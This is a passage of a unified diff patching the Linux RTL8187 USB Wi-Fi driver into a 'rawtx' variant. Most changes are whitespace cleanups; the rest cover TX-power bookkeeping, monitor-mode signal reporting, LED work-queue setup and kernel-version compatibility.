ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -2100,51 +2143,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -2162,13 +2205,13 @@ priv->plcp_preamble_mode = 2; - + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -2204,8 +2247,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -2213,58 +2256,67 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -2283,30 +2335,30 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } InitSwLeds(dev); - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -2320,16 +2372,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -2349,7 +2401,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -2442,26 +2494,26 @@ struct r8180_priv *priv = ieee80211_priv(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); LedControl8187(dev, LED_CTL_POWER_ON); //write_nic_byte(dev,0x91,1); //write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); @@ -2469,32 +2521,32 @@ rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); -/* +/* rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ - write_nic_dword(dev,INT_TIMEOUT,0); + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2510,13 +2562,13 @@ //add for Led controll write_nic_byte(dev,0x85,4); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2534,7 +2586,7 @@ { int i; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2547,41 +2599,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2592,7 +2644,7 @@ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); - + return &priv->ieee80211->stats; } @@ -2602,20 +2654,20 @@ struct r8180_priv *priv = ieee80211_priv(dev); priv->up=1; - + //DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - + rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + ieee80211_softmac_start_protocol(priv->ieee80211); //LedControl8187(dev, LED_CTL_SITE_SURVEY); - + ieee80211_reset_queue(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); @@ -2630,12 +2682,12 @@ { struct r8180_priv *priv = ieee80211_priv(dev); int ret; - + down(&priv->wx_sem); ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } @@ -2644,7 +2696,7 @@ struct r8180_priv *priv = ieee80211_priv(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } @@ -2653,15 +2705,15 @@ { struct r8180_priv *priv = ieee80211_priv(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + LedControl8187(dev, LED_CTL_NO_LINK); - + up(&priv->wx_sem); - + return ret; } @@ -2671,18 +2723,18 @@ struct r8180_priv *priv = ieee80211_priv(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); ieee80211_softmac_stop_protocol(priv->ieee80211); - + return 0; } @@ -2692,7 +2744,7 @@ struct r8180_priv *priv = ieee80211_priv(dev); if (priv->up == 0) return ; - + ieee80211_softmac_stop_protocol(priv->ieee80211); sema_init(&priv->power_sem,1); //printk(KERN_WARNING "priv->power_semb %d!\n",priv->power_sem); @@ -2701,14 +2753,20 @@ _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); - +#endif down(&priv->wx_sem); - + rtl8180_commit(dev); - + up(&priv->wx_sem); } @@ -2718,16 +2776,16 @@ short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2737,15 +2795,15 @@ { struct r8180_priv *priv = ieee80211_priv(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2758,8 +2816,8 @@ int ret=-1; down(&priv->wx_sem); - - + + switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); @@ -2771,7 +2829,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2792,9 +2850,9 @@ //u32 *desc; u8 *desc; u8 signal,quality,rate; - + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2803,31 +2861,31 @@ .freq = IEEE80211_24GHZ_BAND, }; - + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ -#if 0 +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - + //stats.signal = (desc[1] & 0x7f00)>>8; //stats.noise = desc[1] &0xff; signal=(desc[1]& (0xff0000))>>16; signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 - + quality=(desc[1] & (0xff)); - + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; - // printk(KERN_INFO "rate is %d!\n",rate); - stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2835,35 +2893,35 @@ #endif desc = rx_urb->transfer_buffer + len; - + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); - + if( flen <= rx_urb->actual_length){ - + //stats.signal = (desc[1] & 0x7f00)>>8; //stats.noise = desc[1] &0xff; signal=(desc[6]& 0xfe)>>1; //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 - + quality=desc[4] & 0xff; - + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; rate=(desc[2] & 0xf0)>>4; - // printk(KERN_INFO "rate is %d!\n",rate); - stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); //stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); - stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + - //calculate link quality begin - if(!rtl8180_IsWirelessBMode(stats.rate) ) + if(!rtl8180_IsWirelessBMode(stats.rate) ) { // OFDM rate. if(signal>90) signal=90; else if(signal<25) - signal=25; + signal=25; signal = (90-signal)*100/65; } else @@ -2871,7 +2929,7 @@ if(signal>95) signal = 95; else if(signal<30) - signal = 30; + signal = 30; signal =(95-signal )*100/65; } priv->wstats.qual.level = signal; @@ -2879,30 +2937,35 @@ if(quality > 64) priv ->wstats.qual.qual = 0; else - priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, - //and this value only appear when STA is associated to AP or + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or // STA is in IBSS mode // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; priv->wstats.qual.updated = 7; - //calculate link quality end + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2913,7 +2976,7 @@ } //LedControl8187(dev, LED_CTL_RX); - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2931,20 +2994,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -printk(KERN_WARNING "===> rtl8187_usb_probe()\n"); - +printk(KERN_WARNING "===> rtl8187_usb_probe()\n"); + dev = alloc_ieee80211(sizeof(struct r8180_priv)); - + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); priv = ieee80211_priv(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2953,41 +3016,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: free_ieee80211(dev); - + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2996,13 +3064,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - + priv=ieee80211_priv(dev); - + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -3046,11 +3114,11 @@ unsigned long flags; short enough_desc; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) ieee80211_wake_queue(priv->ieee80211); } diff -Naur r8187_orig/rtl8187/r8187.h r8187_rawtx/rtl8187/r8187.h --- r8187_orig/rtl8187/r8187.h 2007-12-05 04:22:20.000000000 +0100 +++ r8187_rawtx/rtl8187/r8187.h 2007-05-16 21:51:38.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include "r8187_led.h" #include "r8180_hw.h" @@ -74,7 +79,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,7 +128,7 @@ unsigned long txdatapkt; unsigned long rxok; unsigned long rxretry;//retry number tony 20060601 - unsigned long rxcrcerrmin;//crc error (0-500) + unsigned long rxcrcerrmin;//crc error (0-500) unsigned long rxcrcerrmid;//crc error (500-1000) unsigned long rxcrcerrmax;//crc error (>1000) unsigned long rxicverr;//ICV error @@ -142,7 +147,7 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ @@ -151,12 +156,12 @@ short hw_plcp_len; short plcp_preamble_mode; // 0:auto 1:short 2:long - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; spinlock_t ps_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -165,17 +170,20 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used u8 channel_plan; // it's the channel plan index short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; struct timer_list ps_timer; short PS_timeout;//when ps set on ,if tx timeout ,this will be set 1 - + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -185,7 +193,7 @@ struct semaphore wx_sem; struct semaphore power_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -200,12 +208,12 @@ void (*rf_wakeup)(struct net_device *dev); void (*rf_sleep)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; @@ -213,20 +221,20 @@ struct urb **rx_urb; struct tx_urb_context tx_context[MAX_TX_URB]; short tx_urb_index; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -256,7 +264,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -270,15 +278,20 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; u16 rts; u8 ps_sleep_finish;//1, finish hw sleep ,0 finish hw wakeup - + struct work_struct reset_wq; struct work_struct rtl8180_hw_wakeup_wq; +// struct work_struct rtl8180_rq_tx_ack_wq; +// struct work_struct rtl8180_hw_sleep_wq; + + struct work_struct SwLed0WorkItemCallback_wq; + short ack_tx_to_ieee; @@ -292,15 +305,15 @@ LED_STRATEGY_8187 LedStrategy; u8 PsrValue; struct work_struct Gpio0LedWorkItem; - struct work_struct SwLed0WorkItem; - struct work_struct SwLed1WorkItem; - + struct work_struct SwLed0WorkItem; + struct work_struct SwLed1WorkItem; + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; diff -Naur r8187_orig/rtl8187/r8187_led.c r8187_rawtx/rtl8187/r8187_led.c --- r8187_orig/rtl8187/r8187_led.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/rtl8187/r8187_led.c 2007-05-16 21:51:33.000000000 +0200 @@ -3,35 +3,35 @@ Module Name: r8187_led.c - + Abstract: RTL8187 LED control functions - + Major Change History: When Who What ---------- --------------- ------------------------------- 2006-09-07 Xiong Created - -Notes: - + +Notes: + --*/ /*--------------------------Include File------------------------------------*/ #include "r8180_hw.h" #include "r8187.h" -#include "r8180_93cx6.h" +#include "r8180_93cx6.h" #include "r8187_led.h" /** * -* Initialization function for Sw Leds controll. -* +* Initialization function for Sw Leds controll. +* * \param dev The net device for this driver. * \return void. * -* Note: -* +* Note: +* */ void InitSwLeds( @@ -49,7 +49,7 @@ DMESG("EEPROM Customer ID: %02X\n", priv->EEPROMCustomerID); if(priv->CustomerID == RT_CID_DEFAULT) - { // If we have not yet change priv->CustomerID in register, + { // If we have not yet change priv->CustomerID in register, // we initialzie it from that of EEPROM with proper translation, 2006.07.03, by rcnjko. switch(priv->EEPROMCustomerID) { @@ -57,19 +57,19 @@ case EEPROM_CID_RSVD1: priv->CustomerID = RT_CID_DEFAULT; break; - + case EEPROM_CID_ALPHA0: priv->CustomerID = RT_CID_8187_ALPHA0; break; - + case EEPROM_CID_SERCOMM_PS: priv->CustomerID = RT_CID_8187_SERCOMM_PS; break; - + case EEPROM_CID_HW_LED: priv->CustomerID = RT_CID_8187_HW_LED; break; - + default: // Invalid value, so, we use default value instead. priv->CustomerID = RT_CID_DEFAULT; @@ -78,13 +78,13 @@ } switch(priv->CustomerID) { - case RT_CID_DEFAULT: + case RT_CID_DEFAULT: priv->LedStrategy = SW_LED_MODE0; break; - + case RT_CID_8187_ALPHA0: priv->LedStrategy = SW_LED_MODE1; - break; + break; case RT_CID_8187_SERCOMM_PS: priv->LedStrategy = SW_LED_MODE3; @@ -98,27 +98,39 @@ priv->LedStrategy = SW_LED_MODE0; break; } - - InitLed8187(dev, - &(priv->Gpio0Led), - LED_PIN_GPIO0, + + InitLed8187(dev, + &(priv->Gpio0Led), + LED_PIN_GPIO0, Gpio0LedBlinkTimerCallback); - INIT_WORK(&priv->Gpio0LedWorkItem, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&priv->Gpio0LedWorkItem, (void(*)(void*))Gpio0LedWorkItemCallback, dev); +#else + INIT_WORK(&priv->Gpio0LedWorkItem, Gpio0LedWorkItemCallback); +#endif InitLed8187(dev, - &(priv->SwLed0), - LED_PIN_LED0, + &(priv->SwLed0), + LED_PIN_LED0, SwLed0BlinkTimerCallback); - INIT_WORK(&priv->SwLed0WorkItem, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&priv->SwLed0WorkItem, (void(*)(void*))SwLed0WorkItemCallback, dev); +#else + INIT_WORK(&priv->SwLed0WorkItem, SwLed0WorkItemCallback); +#endif InitLed8187(dev, - &(priv->SwLed1), - LED_PIN_LED1, + &(priv->SwLed1), + LED_PIN_LED1, SwLed1BlinkTimerCallback); - INIT_WORK(&priv->SwLed1WorkItem, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&priv->SwLed1WorkItem, (void(*)(void*))SwLed1WorkItemCallback, dev); +#else + INIT_WORK(&priv->SwLed1WorkItem, SwLed1WorkItemCallback); +#endif } void @@ -135,7 +147,7 @@ void InitLed8187( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed, LED_PIN_8187 